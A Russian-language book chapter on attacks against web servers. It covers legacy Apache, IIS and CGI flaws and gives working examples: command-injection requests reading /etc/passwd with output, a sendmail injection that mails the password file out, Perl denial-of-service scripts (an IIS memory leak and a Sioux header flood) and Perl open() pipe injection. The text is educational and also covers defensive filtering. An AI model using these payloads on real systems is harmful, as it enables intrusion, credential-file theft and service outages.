Под атакой на WEB-сервер подразумевается нарушение нормальной работоспособности узла, удаление или модификация его содержимого или получение привилегированного доступа к машине.

В соответствии с этим, все атаки можно разделить на две группы - связанные с ошибками администрирования (например, разрешение методов PUT и DELETE, о чем подробно рассказано в главе «Протокол HTTP») и ошибками программной реализации сервера (например, переполнение полей методов, детально рассмотренное в главе «Технологии срыва стека»).

Отдельным пунктом идут проблемы безопасности скриптов и активных серверных приложений. Разумеется, они так же могут разрушить содержимое сайта, но повлиять на сервер свыше отведенных администратором прав, оказываются не в состоянии.

Врезка «замечание»

Массовые атаки на WEB-сервера, лидирующие с большим отрывом ото всех других инцидентов, привели обывателей к устойчивой ассоциации между хакерами и разрисованными страничками, используемыми в качестве забора для своего graffiti. С точки зрения журналистов - это наиболее зрелищные происшествия, поэтому с большой осторожностью следует пользоваться официальной статистикой зарегистрированных атак в Internet. Большинство выборок заведомо будут нерепрезентативными, фиксируя внимание на визуальных эффектах злоумышленников. Скрытые же проникновения, если и обнаруживаются администраторами, то чаще всего остаются не разглашенными.

Напротив, представляет интерес выяснить, какой процент от объявленных взломов имел место на самом деле. Фальсификация атаки владельцами ресурса служит неплохой рекламой «мы настолько популярны, что злобные завистники-конкуренты нас попытались взломать и сумели подменить главную страничку аж, на целых пять минут!» - знакомые заявления, не правда ли?

Наибольшую опасность представляют атаки, базирующиеся на ошибках программных реализаций HTTP-серверов, и потенциально могут привести к захвату полного контроля над машиной с получением привилегий администратора. Особенно это характерно для UNIX-подобных операционных систем, предоставляющих серверным приложениям наивысшие привилегии.

Распространенный источник ошибок - использование сервером системных вызовов операционной системы с передачей параметров, полученных от пользователя. Такая опасность была предсказана еще в первых спецификациях протокола HTTP, но не обратила на себя внимания разработчиков.

В главе «Атака на NTTP-сервер» уже упоминалась ситуация с приложением «InterNetNews 1.5», использующим вызов “eval” для обработки управляющих сообщений. Аналогичный подход в отношении WEB-серверов стал скорее правилом, чем досадным исключением.

Из соображений безопасности по HTTP не представляется доступа к физическим каталогам. Вместо этого клиент работает с виртуальными директориями, которых может и вовсе не существовать на диске. Точнее говоря, соответствие между видимой и действительной файловой структурой далеко не однозначное и зависит от настойки WEB-сервера.

Теоретически можно организовать собственную файловую систему поверх уже существующей, тем самым обеспечивав принципиальную невозможность пагубного воздействия на ресурсы операционной системы , но практически программисты, в стремлении облегчить себе жизнь, используют менее затейливые алгоритмы, так или иначе сводящиеся к ретрансляции имен и их последующей обработке операционной системой.

Например, HTTP-сервер может быть настроен так, что бы запрос “GET /” переадресовывался в «C:\wwwroot\». Программно это реализуется тривиальным слиянием двух строк. Такой механизм работает нормально, до тех пор, пока атакующей не догадается воспользоваться командой перехода на один уровень вверх, послав вполне корректный с точки зрения операционной системы запрос “GET …/”. Такая ошибка была обнаружена, например, в «Microsoft Personal Web Server».

В настоящее время разработчики используют различные системы программных фильтров, для предотвращения подобных ситуаций. Иногда это приводит к забавным казусам. Например, дополнительные символы “/” могут вызвать непредсказуемое поведение некоторых серверов - от предоставления несанкционированного доступа до полного «зависания».

Врезка «информация»

До сих пор в сети можно встретить древние «Apache»-сервера, использующие примитивный алгоритм удаления дублирующихся символов “/”. Если при сканировании адресной строки, встречалась пара символов “/”, то один из них удалялся. Затем все повторялось до тех пор, пока в очередном проходе происходило хотя бы одно изменение.

Нетрудно оценить рост сложности в зависимости от количества подряд идущих символов “/”. Время анализа пропорционально квадрату количества слешей в строке, что позволяет осуществить атаку на отказ в обслуживании запросом, содержащим достаточно больше количество (порядка нескольких тысяч) повторяющихся слешей.

В современных версиях это исправлено, но далеко не все администраторы обновили свои сервера, поэтому угроза атаки «отказа в обслуживании» все еще остается актуальной.

Врезка «информация»

Старые версии Apache позволяли выполнять любые команды на сервере, стоило им послать следующий запрос “GET /cgi-bin/script?var=value%0Acommand”. Все, что находилось справа от символа перевода каретки, передавалось оболочке операционной системы (Shell) на выполнение.

Например, получить файл паролей можно так:

· GET /cgi-bin/test-cgi?kpnc=hacker%0a/bin/cat%20/etc/passwd

· root:x:0:0:root:/root:/bin/bash

· daemon:x:1:1:daemon:/usr/sbin:/bin/sh

· bin:x:2:2:bin:/bin:/bin/sh

· sys:x:3:3:sys:/dev:/bin/sh

· sync:x:4:100:sync:/bin:/bin/sync

· games:x:5:100:games:/usr/games:/bin/sh

· man:x:6:100:man:/var/catman:/bin/sh

· lp:x:7:7:lp:/var/spool/lpd:/bin/sh

· mail:x:8:8:mail:/var/spool/mail:/bin/sh

· news:x:9:9:news:/var/spool/news:/bin/sh

· uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh

· proxy:x:13:13:proxy:/bin:/bin/sh

· majordom:x:30:31:Majordomo:/usr/lib/majordomo:/bin/sh

· postgres:x:31:32:postgres:/var/postgres:/bin/sh

· www-data:x:33:33:www-data:/var/www:/bin/sh

· backup:x:34:34:backup:/var/backups:/bin/sh

· msql:x:36:36:Mini SQL Database

Врезка «информация»

Седьмого ноября 1997 года в «Базе Знаний» Microsoft появилась маленькая техническая заметка под номером Q168501, с первых строк гласящая следующее: «Microsoft Active Server Pages (ASP) download instead of executing, even after you install the ASP fix for IIS » Об этой досадной ошибке уже упоминалась во врезке к главе «Протокол HTTP». Казалось бы, что вторая(!) по счету заплатка должна была решить все проблемы, ан, нет

Злую шутку сыграло различие длинных и коротких имен файлов в Windows NT. Виртуальные директории, иначе называемые псевдонимами , всегда ссылались на полный путь к папке. Например, физическому каталогу «С:\InetPub\wwwroot\cgi-scripts» мог быть присвоен псевдоним “/cgi-scripts”. Виртуальные атрибуты запрещали чтение любых содержащихся в нем файлов. И это работало, пока кому-то не пришла в голову мысль, воспользоваться коротким имением «/cgi-sc~1/». Операционная система правильно обрабатывала запрос, но виртуального каталога с таким именем не существовало! Поэтому «it would reference the file through the physical directory structure. Therefore, it would load the ASP file with the roots access of Read».

Администраторам было рекомендовано отказаться от использования длинных имен в папках для хранения исполняемых файлов. Если бы это не было связано с необходимостью внесения изменения практически во все файлы сайта, безусловно, так бы и поступили. Поэтому, до сих пор в сети находятся сервера, уязвимые против такой простой атаки - их владельцы посчитали подобные меры защиты экономически нецелесообразными.

Врезка «информация»

С ASP связана еще одна малоизвестная ошибка, приводящая к возможности просмотра исходного кода вместо его исполнения. В большинстве случаев разработчики используют включаемые («.inc») файлы для удобства программирования. Что бы постоянно не указывать полный путь, его часто добавляют в глобальную переменную PATH.

Это приводит к тому, что содержимое INCLUDE-директории становится доступно всем посетителям сайта, достаточно лишь передать серверу следующий запрос "GET /SomeScript.inc”.

Единственная проблема - угадать имена файлов. Учитывая, склонность разработчиков к осмысленным названиям, можно попробовать воспользоваться словарной атакой.

Врезка «Информация»

Любопытная ситуация связана с «AnalogX SimpleServer 1.03». Если путь к ресурсу, запрашиваемому методом GET, окажется равен именно семнадцати символам возникнет аварийная ситуация из-за ошибки в модуле «emu-str.c»

Например: “GET /cgi-bin/goodkpnc HTTP/1.0” в окне telnet, или “” в любом браузере.

Врезка «Информация»

В новой, четвертой версии, «Microsoft Internet Information Server» была обнаружена грубая ошибка, приводящая к утечке памяти и быстрому краху системы. При передаче данных методами POST или PUT, сервер отводил затребованное в поле Content-Length количество памяти. Если клиент длительное время не проявлял никакой активности, соединение разрывалось, но память не освобождалась!

#!/usr/local/bin/perl -w

use Socket;

print "Content-type: text/html\n\n";

print "«BODY» «H1»«CENTER»”;

print “IIS 4.0 Memory Leack«/H1»«/CENTER»«HR»«BR»\n";

$count=1;

$size=10240;

$N=100;

while ($count«$N)

{

socket(SRV, PF_INET(), SOCK_STREAM(), getprotobyname("tcp") || 6);

connect(SRV, sockaddr_in(80,inet_aton('www.iis40.com')));

send(SRV, "POST /cgi-bin/test-cgi HTTP/1.0\n",0);

send(SRV,"Content-Length:$size\n\n",0);

$count++;

print "Content-Length:$size\n";

print "«BR»";

}

Приведенный пример посылает 100 запросов с требованием выделить 10 килобайт памяти для каждого из них. В результате этого, 100x10 - 1000 килобайт оказываются потерянными

Врезка «информация»

Скорее комичная, чем опасная ошибка была обнаружена в… принтере «HP LaserJet 4500 + HP JetDirect J3111A», имеющим встроенный Web-сервер, предназначенный для удаленного администрирования. Неумеренно длинный запрос GET приводил к выдаче на печать страницы диагностики. Атакующий мог в короткое время привести в негодность всю бумагу, находящуюся в лотке и блокировать остальные задания на печать.

Ошибки такого типа относятся к досадным промахам разработчиков и обычно никакого интереса не представляют. В самом деле, шансы встретить на произвольно взятом узле требуемую для атаки конфигурацию, очень малы и все продолжают уменьшаться с каждым днем с момента опубликования информации об ошибке.

Гораздо большую опасность представляют концептуальные уязвимости, одинаково хорошо работающие на любых платформах, операционных системах и серверах. Одним из недостатков протокола HTTP является неограниченный размер заголовка запроса. А ведь для его хранения и обработки требуется некоторое количество памяти и процессорного времени!

Забросав сервер, огромными, бессмысленными (или осмысленными - это роли не играет) заголовками, можно значительно ухудшить его производительность, вплоть до полного отказа в обслуживании остальных клиентов.

Именно эта бесхитростная технология и была положена в основу Sioux - атак, один из примеров программной реализации которой показан ниже .

· #!/usr/local/bin/perl -w · use Socket; · print "Content-type: text/html\n\n"; · print "«BODY» «H1»«CENTER»Sioux Attack«/H1»«/CENTER»«HR»«BR»\n"; · $size=16384; · $N=20000; · · socket(SRV, PF_INET(), SOCK_STREAM(), getprotobyname("tcp")); · connect(SRV, sockaddr_in(80,inet_aton('www.sacrificial.com'))); · · send(SRV, "GET / HTTP/1.0\n",0); · $devastating=('x'x$size); · $count=1; · while ($count«$N) · { · send(SRV,"Field$count:$devastating\n",0); · $count++; · print "Field$N:$devastating\n"; · print "«BR»"; ·}

Приведенный пример, посылает на сервер-жертву запрос, в заголовке которого присутствуют $N полей длиной в $size байт каждое. Конкретные значения $N и $size зависят от пропускной возможности канала атакующего, типа сервера и множества других условий. Экспериментально было установлено, что наибольшую нагрузку вызывают пакеты с длиной полей заголовков от восьми до шестнадцати килобайт.

Врезка «информация»

Девятого Февраля Торговый Департамент США убеждал On-line компании и агентства в своей непричастности к хаосу, пошатнувшего мирное течение жизни Всемирной Паутины (предполагалось, что именно их компьютеры были использованы для атаки).

«Там и правда неважно обстояло с защитой» заметил Вильям Делай на пресс-конференции в Чикаго, кивая в сторону «Yahoo», первую жертву хакерской атаки, случившийся днем раньше. Следом были атакованы , , и несколько других сайтов, не упомянутых здесь по причине их малой известности российским интернетчикам.

ФБР невнятно отозвалось насчет перспективы поимки и наказания злоумышленника (который все же позже был пойман не без участия российского ФСБ). Зато активно пропагандировало превентивные меры защиты, то есть «латание дыр» в системах безопасности серверных приложений, в чем ФБР обещало активную помощь, рекламируя свежие «заплатки» выложенные на .

Заглянув туда трудно было удержаться от разочарования. Похоже, что ФБР не заботило ничего, кроме собственной безопасности, на что указывал падч, предназначенный для операционных систем Solaris 2.5.1, 2.6, Solaris 7 (Sparc, Intel), то есть тех, на которых ФБР, собственно, и работает.

Так же поддерживалась неизвестная версия LINIX для платформы Intel. А Windows?

Но ФБР не волнует судьба пользователей (и администраторов), сидящих под Windows, поэтому «…This file will not work on a Windows-based PC», или, говоря человеческим языком, «сушите весла».

Билл Клинтон предпочел более действенные меры, пообещав 2 биллиона долларов (), на войну с тем гнусным типом хакеров, чьи атаки подрывают сетевую экономику (которая составляет не много не мало, а что-то порядка 25%, по крайней мере, в США).

Правда деньги будут выделены едва ли к концу этого года, а то и к середине следующего (то есть 2001). Зато уже находятся желающие оторвать себе кусок от этого пирога. Часть денег уйдет в Лабораторию Информационных Технологий () и, конечно же, Национальный Институт Стандартов ().

Каким боком упомянутые организации относятся к безопасности - это уже, как говорится, «вопрос пятый». Вопрос о том, кто больше виноват хакеры, дырявые системы, или все же не в последнюю очередь неправильная политика безопасности атакуемый фирм, так и не встал.

Создается впечатление, что в действительности все заинтересованы не в решении проблемы, а возможности «выдоить» из бюджета правительства немного денег под те проекты, которые правительство по идее финансировать ну никак не обязано. В конечном счете, ваша личная безопасность, - это все же ваша забота, а у Мр. Президента есть и другие дела.

За подробностями сих разборок можно сходить на сайт агентства CNN ()

Первыми на эту атаку отреагировали разработчики Apache, добавив новую директиву «LimitRequestFields», ограничивающую максимальное количество полей в заголовке запроса. К сожалению, остальные производители проявили гораздо меньшую оперативность и до сих пор некоторые серверы могут быть блокированы таким способом .

Рисунок apache.bmp Так выглядит логотип сервера Apache

Но, если дыры в серверах элементарно затыкаются выпущенной производителем заплаткой, то ошибки в скриптах, созданных владельцем сервера (или командой работающих на него программистов) находить и устранять приходится самому разработчики, что не так-то просто. Очень трудно создать непротиворечивую систему обработки пользовательского ввода, предусматривающую и отсекающую все потенциально опасные шаги злоумышленника. Большинство программистов рассчитывают на лояльного клиента, обращающегося со скриптом «как нужно» и «как того требует здравый смысл».

Классическое подтверждение тому код, отправляющий письмо по адресу, указанному пользователем, который встречается практически в любой регистрационной WEB-форме. В UNIX-системах для этой цели, как правило, используется вызов приложения SendMail, с передачей адреса назначения в командной строке. Ввиду своей простоты такая схема заслужила большую популярность и как будто бы работала нормально. Пока, однажды, кому-то не пришла в голову мысль использовать перенаправления ввода для копирования файлов, доступ к которым при нормальном ходе вещей невозможен. Если злоумышленник вместе с почтовым адресом передаст SendMail-у свои команды, он сможет получить любой файл, какой ему заблагорассудится. В основе этого приема лежит механизм обработки адресов программой SendMail: «Любой адрес, проходящий через начальный алгоритм синтаксического разбора локальных адресов (то есть не являющийся действительным адресом для другой почтовой программы) сканируется на два специальных случая. Если он предварен вертикальной чертой ("|"), то оставшаяся часть адреса будет обработана как команда оболочки (shell command). Если имя пользователя начинается со знака косой черты ("/"), то это имя используется как имя файла, вместо имени пользователя. Файлы, имеющие выставленные биты смены владельца (setuid) или смены группы (setgid) но не имеющие битов выполнения имеют эти биты, если sendmail запущен от пользователя root .»

Так, например, если в качестве обратного адреса в WEB-форму ввести “[email protected]; mail [email protected] «/etc/passwd”, спустя некоторое время можно обнаружить в своем почтовом ящике файл паролей, или любой другой указанный файл.

Какую ошибку допустил разработчик? Он надеялся на послушного пользователя, вводящего именно те данные, на которые рассчитывал программист. Психологическая инерция, то есть подсознательное стремление откинуть все варианты, не вписывающие в жизненный опыт, на этот раз оказала «медвежью услугу».

Врезка «замечание»

Хорошо иллюстрирует инерцию мышления такой случай. Рассказывают , что некогда известный микробиолог Роберт Кох что-то кипятил в стеклянной колбе, плотно окутанной изрыгаемым ею паром. Вошедший в лабораторию ассистент поинтересовался, что тут за дела творятся. «Угадай» предложил Кох, - «что находится в колбе?». Ассистент, битый час перечислял все известные ему микробы, но тщетно. «Это же сосиски!» воскликнул Кох.

Теоретически варить сосиски в колбе позволительно, но практически ее используют совсем в иных целях, и у ассистента сложилась прочная ассоциация «колба»-«бактерии», мешающая сделать очевидное логическое умозаключение .

В тридцатых годах нашего столетия швейцарский астроном Ф. Цвикки создал, так называемый, морфологический метод, названный им, методом направленной интуиции, заключающийся в систематическом переборе всех возможностей, включая и те, которые противоречат нашему жизненному опыту, и никогда не встречались ранее.

Два, приведенных выше примера (с сосисками и SendMail) подтверждают тот факт, что никакие, даже нелепые комбинации, не могут быть откинуты. Разработчик должен исходить не из убеждений, как нужно использовать скрипит, а из того, как можно его использовать. Существует люди, отличаются от всех остальных ослабленной инерцией мышления. Это особый склад сознания, не принимающий ничего на веру и не подверженный догматизму. За кажущимся число количественным различием скрывается принципиальная разница. Если одна категория людей стремиться найти объяснение, некому наблюдаемому явлению, то другую привлекает обратный процесс. То есть, мышление первой категории можно уподобить схеме жизненный опыт(явление) a объяснение, т.е. каждое явление объясняется на основании уже существующего жизненного опыта. Другая же категория, напротив, на основе наблюдаемого явления формирует свой жизненный опыт.

Врезка «замечание»

Яркой иллюстрацией инерции мышления могут служить запутанные движения планет, трактуемые астрологами как божественные предзнаменования. Однако еще в древности находились философы, замечающие, а не являются ли сложные перемещения на небе отражением совершенных траекторий в пространстве?

Проблема заключается в том, что неверное объяснение часто воспринимается истинным и в дальнейшем становиться настолько привычным, что и в голову не приходит перепроверить или рассмотреть его под другими углом зрения.

Так, например, давным-давно был написан простейший командный файл “test-cgi”, позволяющий с помощью “echo” контролировать переданные серверу переменные окружения. Казалось бы, в приведенной ниже программе (на диске, прилагаемом к книге, она находится в файле “/SRC/test-cgi”) просто не в чем ошибиться:

· #!/bin/sh · · echo Content-type: text/plain · echo · · echo SERVER_SOFTWARE = $SERVER_SOFTWARE · echo SERVER_NAME = $SERVER_NAME · echo GATEWAY_INTERFACE = $GATEWAY_INTERFACE · echo SERVER_PROTOCOL = $SERVER_PROTOCOL · echo SERVER_PORT = $SERVER_PORT · echo REQUEST_METHOD = $REQUEST_METHOD · echo HTTP_ACCEPT = $HTTP_ACCEPT · echo PATH_INFO = $PATH_INFO · echo PATH_TRANSLATED = $PATH_TRANSLATED · echo SCRIPT_NAME = $SCRIPT_NAME · echo QUERY_STRING = $QUERY_STRING · echo REMOTE_HOST = $REMOTE_HOST · echo REMOTE_ADDR = $REMOTE_ADDR · echo REMOTE_USER = $REMOTE_USER · echo CONTENT_TYPE = $CONTENT_TYPE · echo CONTENT_LENGTH = $CONTENT_LENGTH

В таком (или почти в таком) виде скрипт прилагался ко многим WEB-серверам и широко распространился по сети. Администраторы без малейших опасений помещали его в исполняемую директорию и открывали доступ всем желающим. В конечном счете, это привело к внезапному росту успешных взломов. Механизм атаки заключался в «подсовывании» символа-джокера внешне безобидному скрипту “test-cgi”. Команда “echo” интерпретировала его как указание вывести список файлов, отвечающих заданному шаблону.

Например, список всех остальных скриптов в текущем каталоге можно было просмотреть так: “GET /cgi-bin/test-cgi?*”. На первый взгляд, в этом ничего опасного в это нет, но на самом деле, просмотр содержимого каталогов, открывает возможность для целенаправленной атаки. В сочетании с возможностью использования перенаправления ввода в почтовых адресах, передаваемых приложению SendMail, простор содержимого директорий, приводит к угрозе целенаправленной атаки.

Пример, приведенный ниже, демонстрирует просмотр содержимого корневого каталога одного из серверов - . Если в адресной строке браузера набрать “” , то ответ сервера должен выглядеть приблизительно так (жирным шрифтом выделено содержимое поля QUERY_STRING, возвращающее результат обработки запроса):

·

GET /cgi-bin/test-cgi?/* · CGI/1.0 test script report: · · argc is 1. argv is /\*. · · SERVER_SOFTWARE = Apache/1.3.0 (Unix) Debian/GNU · SERVER_NAME = home.project.aha.ru · GATEWAY_INTERFACE = CGI/1.1 · SERVER_PROTOCOL = HTTP/1.1 · SERVER_PORT = 80 · REQUEST_METHOD = GET · HTTP_ACCEPT = image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/msword, */* · PATH_INFO = · PATH_TRANSLATED = · SCRIPT_NAME = /cgi-bin/nph-test-cgi · QUERY_STRING = /6 /8 /bin /boot /bzImage-2.0.35 /bzImage-2.2.11 /bzImage-2.2.11-2 /bzImage-2.2.12 /cdrom /dev /etc /floppy /home /initrd /lib /lost+found /mnt /oak /proc /root /sbin /tmp /usr /var · REMOTE_HOST = ppp-09.krintel.ru · REMOTE_ADDR = 195.161.41.233 · REMOTE_USER = · CONTENT_TYPE = · CONTENT_LENGTH =

Проблему решили установкой кавычек вокруг “$QUERY_STRING” . Какое-то время это сдерживало злоумышленников, но инерция мышления подвела разработчиков и на этот раз. Считалось, что “$QUERY_STRING”, это единственный параметр, который передается серверу пользователем, поэтому на все остальные не обратили никакого внимания. Но оказалось, что большинство серверов (включая самый распространенный из них - Apache) не проверяют синтаксической корректности содержимого поля «версия HTTP», указываемой при передаче запроса. В результате этого появляется возможность подставить вместо нее любую строку, например, “/etc/*”. Демонстрация такой атаки приведена ниже (жирным шрифтом выделено поле “SERVER_PROTOCOL”, которое при нормальном развитии событий должно содержать версию HTTP, используемую клиентом, а в данном случае список файлов и папок директории “/etc”):

· GET /cgi-bin/nph-test-cgi?* /usr/* · · HTTP/1.0 200 OK · Content-type: text/plain · · Server: Apache/1.3.0 (Unix) Debian/GNU · · CGI/1.0 test script report: · · argc is 1. argv is \*. · SERVER_SOFTWARE = Apache/1.3.0 (Unix) Debian/GNU · SERVER_NAME = biophys.urcrm.chel.su · GATEWAY_INTERFACE = CGI/1.1 · SERVER_PROTOCOL = /usr/7 /usr/X11R6 /usr/bin /usr/dict /usr/doc /usr/games /usr/include /usr/info /usr/lib /usr/local /usr/lost+found /usr/man /usr/sbin /usr/share /usr/src · SERVER_PORT = 80 · REQUEST_METHOD = GET · HTTP_ACCEPT = · PATH_INFO = · PATH_TRANSL · ATED = SCRIPT_NAME = /cgi-bin/nph-test-cgi · QUERY_STRING = 1.pgsql 2.pgsql 2.pgsql~DEADJOE archie calendar capture date dwww-fig finger fortune htsearch imagemap · info2www-fig log logging.cgi~ log~ mailto.pl nph-test-cgi php3 test-cgi test-env · uptime wais.pl www-pgsql wwwcount.cgi · REMOTE_HOST = ppp-18.krintel.ru · REMOTE_ADDR = 195.161.41.242 · REMOTE_USER = · CONTENT_TYPE = · CONTENT_LENGTH =

После исправления этой ошибки, настал черед “REMOTE_USER”, “CONTENT_TYPE”, “USER_AGENT” и т.д.

Отсюда вытекает ряд неутешительных заключений. Нельзя полагаться ни на какие стандартные библиотеки и творения сторонних разработчиков. Массовость и идентичность - вот основное оружие злоумышленников. Чтобы исследовать скрипт, прежде всего, необходимо получить его исходный код. На правильно сконфигурированном сервере это невозможно, но никакая защита не в состояние предотвратить анализ общедоступных программ. А, получив в свое распоряжение общедоступный скрипт, злоумышленник может попытаться обнаружить содержащиеся в нем ошибки. А, обнаружив, атаковать жертву, использующую такой скрипт.

Возникает противоречивая ситуация. Программировать самому не рекомендуется, ввиду отсутствия у подавляющего большинства необходимого опыта и навыков создания безопасных приложений. Но и фирменные разработки не застрахованы от ошибок. Так, поистине огромное количество ошибок содержится в расширениях к FrontPage (FPE).

Врезка «информация»

При установке FrontPage 1.1, файлы /_vti_pvt.administrator.pwd, /_vti_pvt/authors.pwd и /_vti_pvt/service.pwd по умолчанию становятся общедоступными и не требуют от пользователя авторизации.

Врезка «Информация»

После установки FPE на Apache, открывается доступ к директории /_vti_bin, с правами записи и исполнения файлов даже для неавторизированных пользователей.

Интуитивно кажется, - свои скрипты должны оказаться надежнее: какие бы ошибки не были допущены, недоступность исходного текста программы не позволит злоумышленнику их обнаружить (или, по крайней мере, чрезвычайно затруднит их поиск). Однако практика доказывает обратное. И не удивительно, - ведь программисты склонны к одним и те же типовым ошибкам.

С рассмотрения одной из них и началась эта глава (передача почтальону SendMail адреса, введенного пользователем). Разработчики часто используют вызов внешних программ для выполнения тех действий, реализовывать которые в самом скрипте было бы невозможно или чрезвычайно затруднительно. Опасность такого подхода заключается в том, что практически любое приложение обладает рядом недокументированных особенностей, и порой способно к непредсказуемому поведению. А это может быть использовано для проникновения на компьютер жертвы или его блокирования.

Если же полностью отказаться от использования внешних программ невозможно, рекомендуется выполнять фильтрацию ввода пользователя - до передачи данных внешней программе проанализировать их содержимое, проверяя корректность ввода пользователя. Фильтрацию желательно осуществлять во всех случаях, и контролировать все данные, даже никак не связанные с пользователем. Любые данные должны быть тщательно проверены до того, как они будут использованы. Очень распространенная ошибка - вызов служебной подпрограммы, оформленной в виде отдельного скрипта с передачей аргументов в командной строке. Многие разработчики склонны полагать, что такой скрипт всегда вызывается только их кодом, и забывают о проверке параметров.

Если таким образом попытаться открыть (и прочитать) файл, переданный как параметр, злоумышленник сможет выполнить любой код на сервере, от имени уязвимой программы. Причина заключается в том, что функция “open” языка Perl (на котором написано подавляющее большинство скриптов) интерпретирует символ “|” как конвейер и позволяет выполнить любую команду. Например, “open(H,”File |”)”, приведет к запуску, а не открытию файла “File”.

Вышесказанное демонстрирует фрагмент кода, приведенный ниже (на диске, прилагаемом к книге, он находится в файле “/SRC/open.pl”):

· open(FX,"$file"); · while («FX») · { · print; ·}

Если значение переменной “$file” передается в командной строке (или через переменные окружения), злоумышленник получает возможность изменять его по своему усмотрению! Для проведения экспериментов можно воспользоваться следующим HTML-кодом, который размещен на сервере http://hpnc.webprovider.com/open.htm

· «html» · · «head» · «title»OPEN's Demo«/title» · «/head» · · «body» · «H1»«CENTER»OPEN's Demo«/h1»«/center» · «HR» · «div align="center"» · «form method="POST" action="open.pl"» · «br»Enter file name or "command |"«br»«br» · «input type="text" size="60" maxlength="200" name="file" value="echo Hello,Sailor! |"» · «input type="submit" value="Exec"» · «/form» · «/div» · «HR» · «/body» · · «/html»

Если в качестве имени файла указать “echo Hello,Sailor! |”, спустя мгновение приветствие «Hello, Sailor» отобразится в окне браузера, подтверждая своим появлением успешность выполнения команды “echo”.

А для просмотра содержимого корневого каталога достаточно ввести команду “ls * |”, результат работы которой может выглядеть, например, так:

· apache

· bin

· boot

· cdrom

· dev

· disk1

· etc

· floppy

· home

· httpd

· usr

Узнать, какие файлы и подкаталоги находятся в директории “/bin” (в тексте ее имя выделено жирным шрифтом), можно с помощью следующей команды: “ls /bin/* |”, результат работы которой показан ниже:

· ae arch bash buildh cat

· chgrp chmod chown chsh cp

· cpio cptar cptar~ csh date

· dbish dd df dir dmesg

· echo ed egrep false fdflush

· fgrep fuser grep gsu gunzip

· gzip hostname htp2ftp.pl htp2ftp.pl~ httpd

· i8sql kill ksh ln loadkeys

· login ls mkdir mknod mktemp

· more mount mt mv netstat

· pico ping ps pwd rbash

· rm rmdir rsh run-parts sed

· setserial sh sleep stty su

· sync tar tcsh tempfile texhash

· true umount uname uncompress vdir

· vi vworld xem xem~ zcat

Любой их этих файлов может быть запущен аналогичным способом. Так, например, утилита “more” (ее имя выделено жирным шрифтом) позволяет просмотреть содержимое файла “/etc/passwd”, или любого другого файла указанного в командной строке. Это может выглядеть так:

· GET open.pl?more%20/etc/passwd%20|

·:::::::::::::: /etc/passwd::::::::::::::

· root:x:0:0:root:/root:/bin/bash

· daemon:x:1:1:daemon:/usr/sbin:/bin/sh

· bin:x:2:2:bin:/bin:/bin/sh

· sys:x:3:3:sys:/dev:/bin/sh

· sync:x:4:100:sync:/bin:/bin/sync

· games:x:5:100:games:/usr/games:/bin/sh

· man:x:6:100:man:/var/catman:/bin/sh

· lp:x:7:7:lp:/var/spool/lpd:/bin/sh

· mail:x:8:8:mail:/var/spool/mail:/bin/sh

· news:x:9:9:news:/var/spool/news:/bin/sh

· uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh

· proxy:x:13:13:proxy:/bin:/bin/sh

·…

Врезка «информация» *

В конце 1997 года ошибка фильтрации ввода (а точнее, ее полное отсутствие) была обнаружена в… знаменитой поисковой машине “Excite”. Таким образом, потенциально уязвимым можно считать любой сервер в сети, пока не будет доказано обратное.

Другая распространенная ошибка связана с оператором чтения из файла “«»” языка Perl, в угловых скобках которого заключается файловый манипулятор (в листинге он выделен жирным шрифтом).

Например:

· open( F ,"$file"); · while (« F ») · { · print; ·}

Но что произойдет, если вместо манипулятора задать маску файла? В документации к Perl сказано, такая конструкция выведет содержимое указанной директории согласно маске (в листинге она выделена жирным шрифтом). Такую ситуацию позволяет продемонстрировать фрагмент кода, приведенный ниже (на диске, прилагаемом к книге, он находится в файле “/SRC/dir.pl”):

· while (« *.pl ») · { · print; · print "\n"; ·} · bomb.pl · dir.pl · hack.pl · hello.pl · iis4_ml.pl · nntp.pl · nntp_post.pl · open.pl · post.pl · serv.pl · serv1.pl · sioux.pl · smtp.pl · smtp1.pl

Если найти в тексте программы место, в котором манипулятор передается аргументом командной строки или извлекается из переменной окружения, подменив его шаблоном файла, можно получить содержимое любого из каталогов сервера.

Любопытной особенностью Perl является возможность хранения данных непосредственно в тексте программы. Для этой цели используется лексема “__DATA__”. Содержащейся за ней текст может быть прочитан через файловый манипулятор “DATA”. Такой прием часто используется программистами для хранения конфигурационных настроек, служебных данных, а иногда и паролей.

Если есть возможность модификации одного из манипуляторов атакуемой программы, изменив его значение на “DATA”, можно получить содержимое скрытых данных.

Пример, приведенный ниже(на диске, прилагаемом к книге, он расположен в файле “/SRC/data.pl”), демонстрирует использование манипулятора “DATA” для доступа к приватным данным.

· while (« DATA ») · { · print; ·} · · __DATA__ · file: "mit"; · dir: "…/cfg/gbook"; · user: "Jafar"; · pass: "qwerty"; · file: "mit"; · dir: "…/cfg/gbook"; · user: "Jafar"; · pass: "qwerty";

Любопытно, но практически ни один из существующих скриптов не осуществляет фильтрации строки “DATA”, даже если активно использует эту лексему в своих целях. Действительно, перенос секретных данных, таких, например, как имена пользователей и пароли, в тело программы, значительно снижает риск попадания этой информации в руки злоумышленника, поскольку при нормальном развитии событий клиенту возвращается результат работы скрипта, а не его содержимое.

Переменная “$0” в Perl содержит полный путь и имя к исполняемой программе. Если существует возможность подсунуть ее скрипту под видом имени файла, то (в зависимости от режима открытия фала) можно не только читать, но и модифицировать(!) программный код.

Ниже приведен простейший пример самомодифицирующейся программы . Файлу должны быть установлены следующие права “r w x - - x - - x”, то есть другими словами, отсутствие у пользователя прав записи, не помещает ему изменить программу ее же собственными руками!

· $file="»$0"; · open(H,"$file"); · print H "\nprint 'Hello,Sailor!';"; · close(H); После первого запуска, код скрипта будет выглядеть следующим образом (жирным цветом выделена строка, добавленная самой программой): · $file="»$0"; · open(H,"$file"); · print H "\nprint 'Hello,Sailor!';"; · close(H); · print 'Hello,Sailor!';

При всех последующих запусках, сервер будет выводить приветствия на экран, увеличивающиеся в количестве с каждой итерацией.

Отсутствие фильтрации переменной “$0” и имен файлов может привести к перезаписи программного кода или HTML документа, расположенного на сервере.

Другая распространенная ошибка заключается в задании режима открытия файла по умолчанию. Используя тот факт, что функция “open”, интерпретирует первые символы имени файла, как режим доступа, появляется возможность открыть файл на запись! Для этого достаточно указать угловую скобку “»” перед именем файла.

Например, скрипт, приведенный ниже, на первый взгляд предназначается для чтения файлов:

· open(F,”$file”); · while («F») · { · print; ·}

